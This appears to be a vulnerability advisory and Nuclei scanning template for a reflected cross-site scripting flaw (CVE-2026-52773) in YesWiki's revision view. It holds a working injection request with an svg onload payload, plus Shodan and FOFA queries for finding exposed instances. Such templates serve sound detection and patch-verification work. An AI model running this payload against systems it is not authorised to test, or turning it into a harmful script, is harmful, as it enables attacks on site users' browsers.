YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.
PoC
id: CVE-2026-52773
info:
name: YesWiki Archived Revision - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.
impact: |
Attackers can execute arbitrary JavaScript in victims' browsers.
remediation: |
Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
reference:
- https://github.com/YesWiki/yeswiki/security/advisories/GHSA-35f3-pg38-486f
- https://nvd.nist.gov/vuln/detail/CVE-2026-52773
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-52773
epss-score: 0.00478
epss-percentile: 0.4016
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: yeswiki
product: yeswiki
shodan-query: http.html:"YesWiki"
fofa-query: body="YesWiki"
tags: cve,cve2026,yeswiki,xss
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/?PagePrincipale/revisions"
- "{{BaseURL}}/?GererSite/revisions"
matchers:
- type: word
part: body
words:
- ""time""
internal: true
extractors:
- type: regex
name: timestamp
part: body
internal: true
group: 1
regex:
- '"time":"(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})"'
- method: GET
path:
- "{{BaseURL}}/?PagePrincipale&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"
- "{{BaseURL}}/?GererSite&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><svg onload=alert(document.domain)>'
- 'name="time"'
condition: and
- type: word
part: body
words:
- "yeswiki"
case-insensitive: true
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100e7ae12bd2debb88ae35cf33e9a712b97174a217fba017d5f5889b525b69de04c022100c82d563e4ea864fa1ed3dc0f9382c91b6a217dbd25e6621dcf8a33f0459a95b3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.